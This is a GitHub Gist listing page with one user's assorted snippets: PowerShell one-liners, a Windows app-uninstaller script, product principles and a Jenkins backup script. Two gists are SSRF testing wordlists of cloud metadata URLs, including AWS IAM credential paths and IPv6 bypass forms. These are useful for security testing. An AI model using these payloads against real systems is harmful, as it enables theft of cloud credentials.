Skip to content

Instantly share code, notes, and snippets.

@adrianbiro
adrianbiro / cloud_metadata.txt
Created May 26, 2024 10:17 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@adrianbiro
adrianbiro / Appx-Uninstaller.ps1
Created August 7, 2023 04:38 — forked from ThioJoe/Appx-Uninstaller.ps1
A basic script for uninstalling a list of app packages in Windows 10/11, including those pre-installed with Windows
# A basic script for uninstalling app packages in Windows 10/11, including those pre-installed with Windows
#
# Note: If you get an error about the script not being allowed to run, the below command will change the execution polciy temporarily for one session only:
# Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process
#
# To execute the script, open a Powershell window to the directory with the script and run the following command using your scripts file name (and don't forget the .\ )
# .\WhateverScriptName.ps1
# -------------------------------------------------------------------------------------------
# Script by ThioJoe - https://github.com/ThioJoe
@adrianbiro
adrianbiro / cloud_metadata.txt
Created August 1, 2023 04:46 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@adrianbiro
adrianbiro / principles.md
Created July 21, 2023 16:33 — forked from neovintage/principles.md
Rimas Product Principles

Background

I wrote these at the beginning of my journey within product management and these principles guide my decision making on a daily basis. These principles were written from the perspective of doing product management for data products but most could easily be used for other industries.

Principles

  • Grow. Products not growing faster than the market are becoming less relevant over time.
  • We are a subscription product. Customers buy us every second. We survive if they keep choosing us daily.
  • Ask yourself: "what am I requiring a user learn? how would they know to find this? when would they look?"
  • First, write down the problem.
(((Get-Content -Path ./bookmarks-2023-07-06.json | ConvertFrom-Json).children.children | Where-Object {$_.title -eq "Odkaz"}).children | Where-Object {$_.title -eq "tools"}).children.uri

padding

$ echo YXNkcQo= | base64 -d
asdq
$ echo YXNkcQo | base64 -d
asdq
base64: invalid input

new

#!/bin/bash
echo -e "---------------------------------------------------------------\ncd $(git rev-parse --show-cdup)jenkins_bkp"
cd "$(git rev-parse --show-cdup)jenkins_bkp"
echo -e "---------------------------------------------------------------\noc project smart-deva"
oc project smart-deva
echo -e "---------------------------------------------------------------\noc rsync --include="config.xml" --exclude="/*/*/,state.xml" --delete=true $(oc get pod | awk '/jenkins/&&!/agent/{print $1}'):/var/lib/jenkins/jobs/smartcase/jobs/ bkp/"
# token is from stackowerflow https://stackoverflow.com/questions/38196231/cloudflare-api-error-zone-identifier-cannot-be-found
curl -s -X GET "https://api.cloudflare.com/client/v4/zones?name=example.com&status=active&page=1&per_page=20&order=status&direction=desc&match=all" -H "X-Auth-Email: user@example.com" -H "X-Auth-Key: c2547eb745079dac9320b638f5e225cf483cc5cfdda41" -H "Content-Type: application/json" | ConvertFrom-Json | Get-Member 

like https://stackoverflow.com/questions/9655027/how-to-obtain-all-fields-of-an-object#9655094

@adrianbiro
adrianbiro / jenkinsParameters2Lucene.ps1
Last active June 7, 2023 05:59
Copy modules from Jenkins parameters, then in PowerShell run this, search with string in Kibana Lucene mode
"http.response.status_code: [499 TO 600] AND container.name : (" + $((Get-Clipboard -Raw) -replace "\n", "* OR ") + "*)"
curl --silent --fail --show-error www.postman-echo.com/delete